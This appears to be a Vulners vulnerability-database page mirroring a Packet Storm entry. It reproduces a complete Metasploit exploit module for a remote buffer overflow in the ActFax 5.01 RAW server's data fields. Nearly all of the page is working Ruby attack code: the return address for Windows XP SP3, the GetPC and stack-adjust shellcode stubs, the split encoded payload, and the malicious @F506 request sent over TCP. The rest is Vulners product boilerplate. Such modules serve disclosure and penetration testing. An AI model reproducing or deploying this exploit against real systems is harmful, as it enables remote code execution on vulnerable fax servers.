Lucene search
K

ActFax 5.01 RAW Server Buffer Overflow

🗓️ 06 Feb 2013 00:00:00Reported by corelanc0d3rType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 15 Views

Buffer Overflow in ActFax 5.01 RAW Server, vulnerability in fax data fields, fixed in beta version May 2013

Code
`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
include Msf::Exploit::Remote::Tcp  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'ActFax 5.01 RAW Server Buffer Overflow',  
'Description' => %q{  
This module exploits a vulnerability in ActFax Server 5.01 RAW server. The RAW Server can   
be used to transfer fax messages to the fax server without any underlying protocols. To   
note significant fields in the fax being transfered, like fax number and receipient, you can   
use ActFax data fields. @F506,@F605, and @F000 are all data fields that are vulnerable.   
For more information refer to the 'data fields' section of the help menu in ActFax. This has   
been fixed in a beta version which wont be pushed to release until May 2013.   
Beta is here: http://www.actfax.com/download/beta/actfax_setup_en.exe  
  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Craig Freyman @cd1zz', #discovery and msf  
'corelanc0d3r', #lots of help with getpc routine => https://www.corelan-training.com/index.php/training/corelan-live  
],  
'References' =>  
[  
[ 'OSVDB', '' ],  
[ 'CVE', '' ],  
[ 'URL', 'http://www.pwnag3.com/2013/02/actfax-raw-server-exploit.html' ]  
],  
'DefaultOptions' =>  
{  
'ExitFunction' => 'none',   
'InitialAutoRunScript' => 'migrate -f',  
},  
'Platform' => 'win',  
'Payload' =>  
{  
'BadChars' => "\x00\x40",  
'DisableNops' => true,  
'Space' => 1000,  
'EncoderType' => Msf::Encoder::Type::AlphanumMixed,  
'EncoderOptions' => { 'BufferRegister' => 'EBX' }  
  
},  
  
'Targets' =>  
[  
[ 'Windows XP SP3',  
{  
'Ret' => 0x775e3422, #ole32.dll v5.1.2600.6168  
'Offset' => 1024  
}  
],  
],  
'Privileged' => false,  
'DisclosureDate' => 'Feb 5 2013',  
'DefaultTarget' => 0))  
  
register_options([Opt::RPORT(0)], self.class)  
  
end  
  
def exploit  
  
connect   
  
getpc = "\xe8\xff\xff\xff\xff\xc3\x5b" #ebx| call + 4:   
add_ebx = "\x83\xc3\x20" #add ebx,32   
fill = "\x4b" * 5 #inc ebx 5 times  
fill2 = "\x90" * 17   
stack_adjust = "\x81\xc4\x24\xfa\xff\xff" #add esp,-1500  
shell_chunk1 = payload.encoded[0,522]  
shell_chunk2 = payload.encoded[522,payload.encoded.length-522]   
  
buffer = ""  
buffer << shell_chunk2  
buffer << rand_text_alpha(target['Offset']-buffer.length)  
buffer << [target.ret].pack('V')  
buffer << stack_adjust   
buffer << getpc   
buffer << add_ebx   
buffer << fill   
buffer << fill2   
buffer << shell_chunk1  
  
print_status("Trying target #{target.name}...")  
sock.put("@F506 "+buffer+"@\r\npwnag3\r\n\r\n")  
  
handler  
disconnect  
  
end  
end  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation